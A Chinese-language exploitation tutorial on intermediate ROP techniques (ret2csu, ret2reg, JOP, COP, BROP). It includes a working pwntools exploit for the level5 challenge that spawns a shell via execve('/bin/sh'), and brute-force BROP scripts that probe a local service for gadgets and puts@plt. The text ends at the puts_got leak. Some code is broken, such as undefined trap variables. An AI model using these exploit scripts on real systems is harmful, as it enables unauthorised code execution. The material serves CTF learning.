Stack Overflow - 中级ROP

ret2csu

原理

  • 在64位程序中,函数的前六个参数是通过寄存器传递的,但是多数时候,不是很容易找到每一个寄存器对应的gadgets,这种情况下可以利用x64下的 __libc_csu_init 中的gadgets。 _libc_csu_init 一般来说,只要是调用了 libc.so 就会有这个函数来对 libc.so 进行初始化
    • rdi,rsi,rdx,rcx,r8,r9用来传递函数的前六个参数,多于六个就放到栈里
    • libc包含了许多常见的函数:strcpy、strlen、strcmp、malloc、free、sprintf、scanf、printf、fopen、fclose、read、write等

这是一段_libc_csu_init函数的汇编指令

.text:00000000004005A0                               ; void _libc_csu_init(void)
.text:00000000004005A0 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30= qword ptr -30h
.text:00000000004005A0 var_28= qword ptr -28h
.text:00000000004005A0 var_20= qword ptr -20h
.text:00000000004005A0 var_18= qword ptr -18h
.text:00000000004005A0 var_10= qword ptr -10h
.text:00000000004005A0 var_8= qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0 48 89 6C 24 D8 mov [rsp+var_28], rbp
.text:00000000004005A5 4C 89 64 24 E0 mov [rsp+var_20], r12
.text:00000000004005AA 48 8D 2D 73 08 20 00 lea rbp, cs:600E24h
.text:00000000004005B1 4C 8D 25 6C 08 20 00 lea r12, cs:600E24h
.text:00000000004005B8 4C 89 6C 24 E8 mov [rsp+var_18], r13
.text:00000000004005BD 4C 89 74 24 F0 mov [rsp+var_10], r14
.text:00000000004005C2 4C 89 7C 24 F8 mov [rsp+var_8], r15
.text:00000000004005C7 48 89 5C 24 D0 mov [rsp+var_30], rbx
.text:00000000004005CC 48 83 EC 38 sub rsp, 38h
.text:00000000004005D0 4C 29 E5 sub rbp, r12
.text:00000000004005D3 41 89 FD mov r13d, edi
.text:00000000004005D6 49 89 F6 mov r14, rsi
.text:00000000004005D9 48 C1 FD 03 sar rbp, 3
.text:00000000004005DD 49 89 D7 mov r15, rdx
.text:00000000004005E0 E8 1B FE FF FF call _init_proc
.text:00000000004005E0
.text:00000000004005E5 48 85 ED test rbp, rbp
.text:00000000004005E8 74 1C jz short loc_400606
.text:00000000004005E8
.text:00000000004005EA 31 DB xor ebx, ebx
.text:00000000004005EC 0F 1F 40 00 nop dword ptr [rax+00h]
.text:00000000004005EC
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 4C 89 FA mov rdx, r15
.text:00000000004005F3 4C 89 F6 mov rsi, r14
.text:00000000004005F6 44 89 EF mov edi, r13d
.text:00000000004005F9 41 FF 14 DC call qword ptr [r12+rbx*8]
.text:00000000004005F9
.text:00000000004005FD 48 83 C3 01 add rbx, 1
.text:0000000000400601 48 39 EB cmp rbx, rbp
.text:0000000000400604 75 EA jnz short loc_4005F0
.text:0000000000400604
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 48 8B 5C 24 08 mov rbx, [rsp+38h+var_30]
.text:000000000040060B 48 8B 6C 24 10 mov rbp, [rsp+38h+var_28]
.text:0000000000400610 4C 8B 64 24 18 mov r12, [rsp+38h+var_20]
.text:0000000000400615 4C 8B 6C 24 20 mov r13, [rsp+38h+var_18]
.text:000000000040061A 4C 8B 74 24 28 mov r14, [rsp+38h+var_10]
.text:000000000040061F 4C 8B 7C 24 30 mov r15, [rsp+38h+var_8]
.text:0000000000400624 48 83 C4 38 add rsp, 38h
.text:0000000000400628 C3 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628
.text:0000000000400628 __libc_csu_init endp
  • 可以利用的地方有:
    • gadgets1:
      • 从0x0000000000400606 一直到0x000000000040061F,可以利用栈溢出构造栈上数据来控制rbx、rbp、r12、r13、r14、r15 寄存器的数据,随着环境的不同,r13、r14、r15的顺序也可能会有所改变
    • gadgets2:
      • 从 0x00000000004005F0 到 0x00000000004005F9,通过gadgets1中最后的ret,让程序流程走gadgets2,这样就可以将r15赋给rdx,将r14赋给rsi,将r13赋给edi(这里虽然赋给了edi,但是此时rdi的高32位值为0,所以可以控制rdi寄存器的值,不过只能控制低32位)。上述三个寄存也是x64函数调用中传递的前三个寄存器。所以如果可以合理地控制r12与rbx,那么就可以调用我们想要调用的函数。比如可以在gadgets1中控制rbx为0,call指令就可以跳转到r12寄存器存储的位置处,r12存储想要调用的函数地址
      • 从 0x00000000004005FD 到 0x0000000000400604 ,判断是否与rbp相等,否则重新执行gadgets2。可以看出,能够通过控制rbx +1 = rbp,这样就不会再重复执行loc_400600,可以设置 rbx=0,rbp=1

上面是IDA分析的level5,ctfwiki中的是另一种:

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp

首先是gadgets1,mov指令变成了pop指令,gadgets中r13和r15的位置有些变化,功能是一样的,只需要在写payload时更改一下即可

示例复现

题目来源:ROP_STEP_BY_STEP/linux_x64/level5 at master · zhengmin1989/ROP_STEP_BY_STEP · GitHub

检查安全保护

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序为64位,开启了堆栈不可执行保护,所以不能在栈中进行操作,IDA查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function(1LL);
}

ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}

能够看到read函数,read函数不检查输入字符串长度,可以进行溢出。能够看到buf变量距离rsp是0h个字节,buf的起始地址就是sp的地址。buf变量距离rbp是0x80,那么也就是可控制的栈空间就是buf变量的起始地址到ebp的地址0x80个字节。因为是64位,所以ebp的位置还有8个字节,这样从变量的起始位置到ret返回有0x80 + 0x8个字节

更推荐利用GDB计算栈空间,之前遇到的题目直接cyclic 200然后计算就可以得到,但是在这道题目中是不能直接计算的

这是由于程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常,如果gdb中没有显示返回地址的话可以通过x/x $rsp来查看即将返回的地址,在这里能够看见rsp的返回地址所以可以直接计算,如上图,注意小端序,所以偏移的计算应该是cyclic -l 0x6261616acyclic -l jaab,计算结果为136

而IDA中并没有找到system和/bin/sh,需要自己构造,如果system不起作用的话,用execve也可以获取shell

构造payload思路:

  • 构建第一发payload,首先填充栈空间,将返回地址改为gadgets1,那么在gadgets1中利用寄存器部署三个参数,并且在最后调用write在got表中的地址进而调用write函数打印出write函数的地址,最后返回主main函数
  • 第二发payload和第一发类似,不过要调用read函数
  • 第三发调用是将bss段首地址和bss+8 ,即首地址的下八位地址(/bin/sh字符串)作为参数,只用到两个参数所以只需要用到r12和r13两个寄存器,其他寄存器使用0占位即可

write()会把参数buf所指的内存写入count个字节到参数放到所指的文件内,fd为文件描述符,fd为1时为标准输出

payload图示(Intermediate ROP (yuque.com)

第一发:

第二发:

第三发:

构建EXP思路:

  • 先获取write函数、read函数的got表地址,main函数和bss段的地址,然后进行第一次栈溢出,输出write函数地址
  • 将输出的write函数地址接收,利用LibcSearch查找Libc版本并计算该版本Libc的基地址,进而查找到execve函数的地址,然后进行第二次栈溢出,利用read函数将execve和”/bin/sh”写入bss段
  • 然后进行第三次栈溢出,调用bss段内的execve(‘/bin/sh’)

EXP:

from pwn import *
from LibcSearcher import *

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_gadget = 0x00000000004005F0
csu_behind_gadget = 0x0000000000400606

def csu(fill, rbx, rbp, r12, r13, r14, r15, main):
payload = b'hollkdig' * 17
payload += p64(csu_behind_gadget)
payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_gadget)
payload += b'hollkdig' * 7
payload += p64(main)
sh.send(payload)
sleep(1)

sh.recvuntil(b'Hello, World\n')
csu(0, 0, 1, write_got, 1, write_got, 8, main_addr)

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))

sh.recvuntil(b'Hello, World\n')
csu(0, 0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')

sh.recvuntil(b'Hello, World\n')
csu(0, 0, 1, bss_base, bss_base + 8, 0, 0, main_addr)
sh.interactive()

改进

  • 当允许输入的字节数较少时,可以考虑提前控制RBX和RBP,这样的话可以减少16字节

  • 可以看到gadgets其实是两个部分,那么可以用两次调用,减少一次调用的字节数,但是需要有前提条件:

    • 漏洞可以多次触发
    • 两次触发之间,r12-r15寄存器的值未被修改
  • 除了上面用到的gadgets,还有其他的函数也被编译进去了

    _init
    _start
    call_gmon_start
    deregister_tm_clones
    register_tm_clones
    __do_global_dtors_aux
    frame_dummy
    __libc_csu_init
    __libc_csu_fini
    _fini

    此外可以将源程序中的一些地址进行偏移从而来获取我们想要的指令,确保程序不崩溃即可

  • libc_csu_init 的尾部通过偏移是可以控制其他寄存器的

其他字段

gef➤  x/5i 0x000000000040061A
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
gef➤ x/5i 0x000000000040061b
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
gef➤ x/5i 0x000000000040061A+3
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/5i 0x000000000040061e
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061f
0x40061f <__libc_csu_init+95>: pop rbp
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x0000000000400620
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
gef➤ x/5i 0x0000000000400621
0x400621 <__libc_csu_init+97>: pop rsi
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061A+9
0x400623 <__libc_csu_init+99>: pop rdi
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
0x400630 <__libc_csu_fini>: repz ret

ret2reg

原理

  • 查看溢出函数返回时哪个寄存器指向缓冲区空间
  • 查找call reg或者jmp reg指令,将EIP设置为该指令地址
  • 在reg指向的空间上注入shellcode(确保该空间为可执行,栈上)

JOP

JOP(Jump-Oriented Programming):JOP利用程序中的指令片段(gadget)来构造恶意代码执行流程。与ROP类似,但是JOP使用跳转指令来控制程序的执行流程,而不是使用函数调用指令。

COP

COP(Call-Oriented Programming):COP是ROP的进一步发展,它使用程序中的函数调用指令(call instruction)来构建恶意代码执行流程。COP利用已有的函数调用和返回代码片段,将它们组合起来形成完整的恶意操作序列

BROP

基本原理

BROP(Blind ROP):是看不到源代码或者二进制文件情况下,对程序进行攻击,劫持程序的执行流。类似于web里面的盲注,看不到关键信息,需要一个一个地去试。

攻击条件

  • 源程序必须存在栈溢出
  • 服务器端的进程在崩溃之后能够重新启动,并且重新启动的进程的地址要与之前的地址一致(也就是说,即便有ASLR保护,那么也只是在程序最初启动的时候有效果)

攻击原理

基本思路:

  • 判断栈溢出的长度:暴力枚举
  • Stack Reading:获取栈上的数据来泄露canary以及ebp和返回地址
  • Blind ROP:找到足够多的gadgets来控制输出的函数,并对其及进行调用,比如write函数或者puts函数
  • EXP:利用输出函数来dump出程序以便于找到更多的gadgets

栈溢出长度

暴力枚举,直到发现程序崩溃

Stack Reading

关于canary以及后面的变量,采用的方法一致,以canary为例进行说明。

枚举所有数值效率很低,可以按照字节爆破,每个字节最多有256种可能,在32位的情况下,最多爆破1024,64位最多爆破2048次

Blind ROP

调用函数的最简便方法就是系统调用号,但是实际上syscall几乎不可能

所以可以使用libc_csu_init 结尾的一段 gadgets 来实现

示例复现

题目源代码:pwn7文件|百度网盘提取码:0m8j

C源码

#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

这道题目中,read函数有着明显的栈溢出

当然,实际情况是看不到源码的,这里是方便理解

查看保护机制

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

NX保护开启,无法在栈中部署shellcode,考虑使用gadgets。实际情况下由于看不到二进制代码,所以只能暴力枚举来不断地穷举地址,判断地址是否是我们想要的。PIE没有开启,程序初始地址为0x400000

大致思路就是:控制put函数打印自己的GOT表地址,通过GOT地址利用LibSearch计算当前使用的libc版本,然后找到system函数和/bin/sh地址部署到栈中执行

判断栈溢出空间大小

暴力枚举,通过循环不断增加输入的字符长度,直到程序崩溃

由于看不到源码,所以先找出正常情况下和程序崩溃后的两种回显,以便我们猜测出栈溢出长度

输入一个a,回显为“No password, no game”

hno@hno-virtual-machine:~/Desktop/CTF$ ./brop
WelCome my friend,Do you know password?
a
No password, no game

输入一串长字符

hno@hno-virtual-machine:~/Desktop/CTF$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
hno@hno-virtual-machine:~/Desktop/CTF$ ./brop
WelCome my friend,Do you know password?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Segmentation fault (core dumped)

没有显示“No password, no game”,那么就可以通过不断增加字符串长度,并且根据回显结果是否有“No password, no game”来判断什么长度覆盖了返回地址,该长度减一就是栈溢出的长度

def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a') #不断增加a的数量输入到程序中
output = sh.recv() #将获取到的回显内容放在output变量中
sh.close()
if not output.startswith('No password'):
#判断output变量中起始位置是不是No password,如果不是说明已经溢出了
return i - 1
else:
i += 1
except EOFError:#主要探测是否具有canary
sh.close()
return i - 1

代码的逻辑很简单,输入a到程序中,将获取到的回显内容放在output变量中,如果output变量的起始位置不是No password,那么就说明已经溢出了,这时候将a的数量减一即为栈溢出长度,否则就将a的数量加一继续输入到程序中。当发生EOFError异常时,表示可能存在Canary(用于检测缓冲区溢出的机制),这时也会返回栈溢出长度,减一即可。

在这道题中能够确定栈溢出的长度为72,并且根据返回信息发现没有canary保护

寻找stop gadget

由于我们不知道程序具体是什么样的,所以需要控制返回地址去猜测gadgets,当我们控制返回地址时,一般会有三种情况:

  • 程序直接崩溃:ret地址指向的是一个程序内不存在的地址
  • 程序运行一段时间以后崩溃,比如运行自己构造的函数,该函数的返回地址指向不存在的地址
  • 程序一直运行而不崩溃

stop gadget一般指的是,当程序执行这段代码时,程序会进入无限循环,这样就使得攻击者一直保持连接状态,并且程序一直运行不崩溃,stop gadgets最后的ret地址就是程序开始的地址(main、start)

还是采用穷举的办法不断尝试每一个地址,从初始地址0x400000开始,通过循环不断增加地址进行尝试。

在执行stop gadget的时候程序会回到初始状态并且没有发生崩溃,那么可以利用这一特性,使用前面找到的72字节填满栈空间,之后接上穷举的地址,由于此时穷举的地址覆盖了ret地址,所以就可以执行穷举的地址,如果此时程序发生崩溃就进行下次循环,如果没有崩溃就将该地址输出。

def get_stop_addr(length):
addr = 0x400000 #尝试起始地址
while 1:
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'hollkdig' * length + p64(addr) #输入72个字节后面加穷举地址覆盖ret
sh.sendline(payload)
sh.recv()
sh.close()
print 'one success addr: 0x%x' % (addr)
return addr #由于执行代码写在了try中,所以只有程序不崩溃才能走到这一步
except Exception:
addr += 1 #如果出现崩溃导致的异常,那么addr+1
sh.close()

get_stop_addr(9) #传入72个字符串

确定了stop gadget以后就可以为后面查找brop gadget、put plt、puts got做准备,运行后不崩溃的地址会有很多,当查找到第一个不崩溃的地址后可以将0x400000替换为不崩溃的地址,然后去找下一个,节约时间。接下来使用返回到源程序中的地址0x4006B6,该地址为main函数的开始地址,当然正常情况下是看不到的

.text:00000000004006B6
.text:00000000004006B6 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004006B6 public main
.text:00000000004006B6 main proc near ; DATA XREF: _start+1Do
.text:00000000004006B6 push rbp
.text:00000000004006B7 mov rbp, rsp
.text:00000000004006BA mov rax, cs:stdin@@GLIBC_2_2_5
.text:00000000004006C1 mov esi, 0 ; buf
.text:00000000004006C6 mov rdi, rax ; stream

寻找brop gadget

接下来需要找到控制寄存器的gadget,我们的预想是利用put函数泄露出自己的got地址,通过got地址找到对应的libc版本,然后找到system函数和/bin/sh地址部署到栈中执行,所以我们需要通过gadget来控制寄存器将需要打印的内容放入寄存器内

在ret2csu中能够知道在libc_csu_init的结尾有一长串pop的gadget,其中是存在pop rdi的,可以利用偏移获取

pop     rbx
pop rbp
pop r12
pop r13
pop r14
----------------->pop rsi 0x7
----------------->pop r15
pop r15
----------------->ret
----------------->pop rdi 0x9
----------------->ret
retn

能够看到如果以pop rbx为基地址的话向下偏移0x07会得到pop rsi的操作,向下偏移0x09会得到pop rdi的操作,这两个操作就可以帮助我们控制put函数的输出内容

既然需要用到pop rdi、pop rsi的操作,那么就需要知道libc_csu_init结尾6个pop操作的位置,这个时候stop gadget就起到作用了,在这里定义栈上的三种地址,以便于演示stop gadget的使用

  • Probe
    • 探针,也就是我们想要循环递增的代码地址,一般来说都是64位程序,可以直接从0x400000尝试
  • Stop
    • 不会使程序崩溃的stop gadget的地址
  • Trap
    • 可以导致程序崩溃的地址

可以通过在栈上拜访不同程序的stop和trap来识别出正在执行的指令

  • Probe、Stop、Traps以这样的方式排列,在栈中的排列如下:

    +---------------------------+ 
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
    +---------------------------+
    | probe | <----- 探针
    -----------------------------

    可以通过程序是否崩溃来判断Probe探针中可能存在的汇编语句,在这样的情况下,如果程序没有崩溃,就说明stop gadget被执行了,说明probe探针中没有pop 操作,并且有ret返回,如果有pop操作的话,stop会被pop到寄存器中,那么probe探针的ret返回就会指向stop的后几位traps,那么就会导致程序崩溃,由于在栈布局中的stop gadget在probe的下一位,说明stop所在位置就是probe探针的ret返回地址位置,如

    ret
    xor eax,eax; ret
  • Probe、Traps、Stop、Traps以这样的方式排列

    +---------------------------+ 
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
    +---------------------------+
    | trap | <----- trap,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | probe | <----- 探针
    -----------------------------

    依旧可以通过程序是否崩溃来判断Probe探针中可能存在的汇编语句,在这样的情况下,如果程序没有崩溃,就说明stop gadget被执行了,说明probe指针中仅有一个pop操作,并且有ret返回,在probe中只有一个pop操作的时候才会只将probe后面的trap弹进寄存器,如果有两个及两个以上的pop操作时,stop gagdet也会被弹进寄存器中无法执行,并且在probe探针中ret返回所指的位置是stop才能使程序不崩溃

    pop rax; ret
    pop rdi; ret
  • probe、trap、trap、trap、trap、trap、trap、stop、traps以这样的方式排列

    +---------------------------+ 
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
    +---------------------------+
    | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | trap | <----- trap,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | probe | <----- 探针
    -----------------------------

    依旧可以通过程序是否崩溃来判断probe探针中可能存在的汇编语句,在这样的布局下,如果程序没有崩溃,说明stop gadget被执行了,说明该probe探针存在6个pop操作,并且有ret,因为只有在6个pop操作之后的probe后面的trap才能弹进寄存器,之后sp指针才能指向stop gagdet,这个时候stop gadget只有在ret位置才能被执行,因此程序不会崩溃

前面说我们要找的就是libc_csu_init最后的6个pop加ret,那么根据我们前面的分析可以对trap、stop进行排列:

addr, trap, trap, trap, trap, trap, trap, stop, trap

以如上排列,addr通过循环不断增加地址位,只有addr所在地址拥有6个pop操作并ret的时候才会执行stop gadget

def get_brop_gadget(length, stop_gadget, addr): #查找brop gadget函数
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(h) + p64(o) + p64(l) + p64(l) + p64(k) + p64(0) + p64(stop_gadget) + p64(h) + p64(o) + p64(l) + p64(l) + p64(k)
#通过72个a填满栈空间到ret,增长的地址覆盖原有的ret地址,接着用6个字符的p64形式充当trap,最后接上stop
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
if not content.startswith('WelCome'):
#判断提示符是否出现起始提示字符,如果有说明程序没崩溃
return False
return True
except Exception:
sh.close()
return False

def check_brop_gadget(length, addr):#检查地址
try:
sh = remote('127.0.0.1', 9999)
#sh = process(',.brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True


##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4006b6
addr = 0x400740
#理论上应该从0x400000开始寻找,但是这个环节要找的是Libc_csu_init函数,所以大多数的libc中Libc_csu_init函数的起始地址都在0x400740之后,所以为了减少误差,从0x400740开始
while 1: #循环递增要测试的地址
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
break
addr += 1

运行后会得到很多的gadget地址,但是只有0x4007ba是可以进行操作的,可以使用IDA看一下该地址的语句:

.text:00000000004007BA                 pop     rbx
.text:00000000004007BB pop rbp
.text:00000000004007BC pop r12
.text:00000000004007BE pop r13
.text:00000000004007C0 pop r14
.text:00000000004007C2 pop r15
.text:00000000004007C4 retn

栈中布局:

             +---------------------------+
| 0 | trap
+---------------------------+
| ..... | | trap
+---------------------------+
| 0 | trap
+---------------------------+
| stop gadget | stop gadget作为ret返回地址
+---------------------------+
| 0 | trap
+---------------------------+
| k | trap
+---------------------------+
| l | trap
+---------------------------+
| l | trap
+---------------------------+
| o | trap
+---------------------------+
| h | trap
+---------------------------+
| 0x400740+ | 递增地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
ebp-?-->+---------------------------+

得到brop gadget后加上0x9的偏移就可以得到pop rdi; ret的操作地址0x4007c3

寻找puts@plt地址

通过前面的操作可以总结出来一些规律,比如需要什么就把他丢到循环里,通过递增总会得到想要的结果,在上一步我们找到了pop rdi; ret这个gadget地址了,那么我们可以控制puts函数的输出内容,所以需要用这个gadget找到puts_plt的地址。前面说过,想要调用puts函数,必须将puts函数的参数地址先部署到rdi寄存器内,然后调用puts函数将rdi中地址内的参数打印出来

但是由于开启了NX保护,所以我们无法在栈中部署外部的变量或者字符串,那么就需要一个程序内部的特殊字符串,这个字符串必须是唯一的,在没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为'\x7fELF'

def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
addr) + p64(stop_gadget)
#72个A填充栈空间,调用pop rdi;ret gadget将0x400000pop进rdi寄存器,循环增长的地址放在gadget的ret位置,在执行完gadget后直接调用循环增长的地址,如果增长到puts_plt地址就会打印rdi寄存器中地址内存放的字符串,最后的stop gadget是为了让程序不崩溃
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):#判断是否打印\x7fELF
print 'find hollkdig puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1

##length = getbufferflow_length()
length = 72
rdi_ret = 0x4007c3
##get_stop_addr(length)
stop_gadget = 0x4006b6

循环递增地址,找到可以进行打印的put_plt地址,当接收字符串出现'\x7fELF'字样循环终止,为后续找到put_got地址做准备

最后选择0x400560作为puts_plt的地址,在IDA查看一下(正常情况下看不到)

.plt:0000000000400550                 dq 2 dup(?)
.plt:0000000000400560 ; [00000006 BYTES: COLLAPSED FUNCTION _puts. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:0000000000400566 dw ?

栈内的布局

             +---------------------------+
| stop gadget | stop gadget确保程序不崩溃
+---------------------------+
| 0x400000+ | 循环递增地址,作为pop的ret地址
+---------------------------+
| 0x400000 | ELF起始地址,地址内存放'、x7fELF'
+---------------------------+
| 0x4007c3 | pop rdi;ret地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
ebp-?-->+---------------------------+

泄露puts_got地址

得到puts_plt地址后,接下来就需要将puts_got地址泄露出来,得到puts_got地址以后就可以利用LibcSearch查找对应的libc版本,再根据版本找到libc中的system函数和/bin/sh

